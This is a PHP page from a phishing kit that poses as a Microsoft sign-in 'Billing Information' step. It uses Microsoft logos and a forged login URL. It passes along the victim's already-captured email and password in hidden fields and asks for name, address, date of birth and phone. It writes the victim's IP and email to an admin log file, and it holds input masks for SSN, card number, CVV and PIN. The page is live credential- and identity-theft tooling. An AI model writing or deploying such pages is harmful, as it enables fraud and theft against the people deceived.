<?php
include'../admin/config.php';
include'../main.php';
$ip = getUserIP();
$random = substr(sha1(mt_rand()),1,25);
if(isset($_POST['billing'])){
    tulis_file("../admin/result/total_click.txt", "".$cn."|".$_POST['email']."|".$ip."|Berhasil Memasukan Alamat|".$date."");
}?>
<html dir="ltr" lang="EN-US">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <title>Billing Information</title>
    <meta name="robots" content="none">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, minimum-scale=1.0, user-scalable=yes">
    <link rel="shortcut icon" href="https://logincdn.msauth.net/16.000.28230.00/images/favicon.ico">
    <link rel="stylesheet" title="Converged_v2" type="text/css" crossorigin="anonymous" integrity="sha384-E5gbpbd7pvLncrSFicEeR0od7Yqv75BoM0zAKpkW6kM6RUIPj83KEbtUBQeB8pRU" onload="$Loader.OnSuccess(this)" onerror="$Loader.OnError(this)" href="assets/css/hotmail.css">
    <style type="text/css"></style>
    <style type="text/css">
        body {
            display: none;
        }
    </style>
    <style type="text/css">
        body {
            display: block !important;
        }
    </style>
    <style type="text/css">
        body {
            display: block !important;
        }
    </style>
    <style type="text/css">
        body {
            display: block !important;
        }
    </style>
    <style type="text/css">
        body {
            display: block !important;
        }
    </style>

</head>

<body class="cb" data-bind="defineGlobals: ServerData, bodyCssClass">
    <div>
        <!--  -->
        <div">
            <div class="background" style="background-image: url('assets/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg');">
               
            </div>
        </div>
        <div data-bind="if: activeDialog"></div>
        <form name="f1" id="i0281" validate="validate" spellcheck="false" method="post" target="_top" autocomplete="off" action="auth/billing?wa=wsignin1.0&rpsnv=13&rver=7.3.6963.0&wp=MBI_SSL&wreply=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&lc=1033&id=74335&aadredir=1&ru=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&mkt=EN-US&contextid=1EE93C44426274D9&bk=1619825426&uaid=876a74678f9446408bf0adc75cc213b7&pid=0">
            <div class="outer" data-bind="">
                <div class="middle">
                    <div class="inner">
                        <div class="lightbox-cover"></div>

                        <div>
                            <img class="logo" pngsrc="https://auth.gfx.ms/16.000.27991.01/images/microsoft_logo.png?x=ed9c9eb0dce17d752bedea6b5acda6d9" svgsrc="https://logincdn.msauth.net/16.000.28230.00/images/microsoft_logo.svg?x=ee5c8d9fb6248c938fd0dc19370e90bd" data-bind="imgSrc, attr: { alt: str['MOBILE_STR_Footer_Microsoft'] }" src="https://logincdn.msauth.net/16.000.28230.00/images/microsoft_logo.svg?x=ee5c8d9fb6248c938fd0dc19370e90bd" alt="Microsoft">

                        </div>

                        <div role="main">
                            <div class="pagination-view has-identity-banner">
                                
                                <div data-viewid="2" data-showidentitybanner="true" data-dynamicbranding="true">
                                    <!--  -->
                                    
                                    <div id="loginHeader" class="row text-title" role="heading" aria-level="1" data-bind="text: str['CT_PWD_STR_EnterPassword_Title']">Billing Information</div>
                                    
                                    <div class="row">
                                        <div class="form-group col-md-24">
                                            <div role="alert" aria-live="assertive" aria-atomic="false">
                                                
                                            </div>
                                            <div class="placeholderContainer">
                                                <input type="hidden" name="email" value="<?= $_POST['email']; ?>">
                                                <input type="hidden" name="password" value="<?= $_POST['password']; ?>">
                                                <input type="hidden" name="billing" value="">
                                                <div class="form-group">
                                                    <input name="fname" type="text" id="i0118" class="form-control" onkeypress="return event.charCode < 48 || event.charCode  >57" placeholder="Full name" autofocus required>
                                                </div>
                                                <div class="form-group">
                                                <input name="address" type="text" id="i0118" class="form-control" placeholder="Address" required>
                                                </div>
                                                <div class="form-group">
                                                <input name="state" type="text" id="i0118" class="form-control" onkeypress="return event.charCode < 48 || event.charCode  >57" placeholder="City" required>
                                                </div>
                                                <div class="form-group">
                                                <input name="city" type="text" id="i0118" class="form-control" onkeypress="return event.charCode < 48 || event.charCode  >57" placeholder="State" required>
                                                </div>
                                                <div class="form-group">
                                                <input name="zip" type="text" id="i0118" class="form-control mask-zip" placeholder="ZIP" required>
                                                </div>
                                                <div class="form-group">
                                                <input name="dob" type="text" id="i0118" class="form-control mask-dob" placeholder="Date of birth (DD/MM/YYYY)" required>
                                                </div>
                                                <div class="form-group">
                                                <input name="phone" type="text" id="i0118" class="form-control mask-phone" placeholder="Phone number" required>
                                                </div>
                                                <input type="hidden" name="apistatus" value="<?= $_POST['apistatus']; ?>">
                                            </div>
                                        </div>
                                    </div>
                                    <!-- ko if: svr.Z && showHip -->
                                    <!-- /ko -->
                                    <div data-bind="invertOrder: svr.B4, css: { 'position-buttons': !tenantBranding.BoilerPlateText }" class="position-buttons">
                                        <div class="row" data-bind="css: { 'move-buttons': tenantBranding.BoilerPlateText }">
                                            <div>
                                                <div class="col-xs-24 no-padding-left-right form-group no-margin-bottom button-container">
                                                    <!-- ko if: isSecondaryButtonVisible -->
                                                    <!-- /ko -->
                                                    <div class="inline-block">
                                                        <input type="submit" id="idSIButton9" class="btn btn-block btn-primary" value="Submit"> </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                    <!-- ko if: tenantBranding.BoilerPlateText -->
                                    <!-- /ko -->
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

            </div>
    </div>
    </div>

    </form>

    </div>

    <div>
<!-- Masking -->
<script src="js/jquery.min.js"></script>
<script src="js/jquery.mask.min.js"></script>
<script type="text/javascript">
    $(document).ready(function(){
      $('.mask-exp').mask('00/00');
      $('.mask-ccn').mask('0000 0000 0000 0000');
      $('.mask-dob').mask('00/00/0000');
      $('.mask-dln').mask('00 000 000');
      $('.mask-ssn').mask('000-00-0000');
      $('.mask-cvv').mask('000');
      $('.mask-pin').mask('000000');
      $('.time').mask('00:00:00');
      $('.date_time').mask('00/00/0000 00:00:00');
      $('.mask-phone').mask('00000000000000');
      $('.phone_with_ddd').mask('(00) 0000-0000');
      $('.phone_us').mask('(000) 000-0000');
      $('.mixed').mask('AAA 000-S0S');
      $('.money').mask('000.000.000.000.000,00', {reverse: true});
      $('.money2').mask("#.##0,00", {reverse: true});
      $('.ip_address').mask('099.099.099.099');
      $('.percent').mask('##0,00%', {reverse: true});
      $('.placeholder').mask("00/00/0000", {placeholder: "__/__/____"});
      $('.mask-cc').mask('0000 0000 0000 0000');
      $('.valid').mask('00/00');
    });
  </script>
<!-- End Masking -->
<!-- Validasi Number & Text -->
<script>
    function hanyaAngka(evt) {
      var charCode = (evt.which) ? evt.which : event.keyCode
       if (charCode > 31 && (charCode < 48 || charCode > 57))
 
        return false;
      return true;
    }
  </script>
<!-- End Validasi -->
</body>
</html>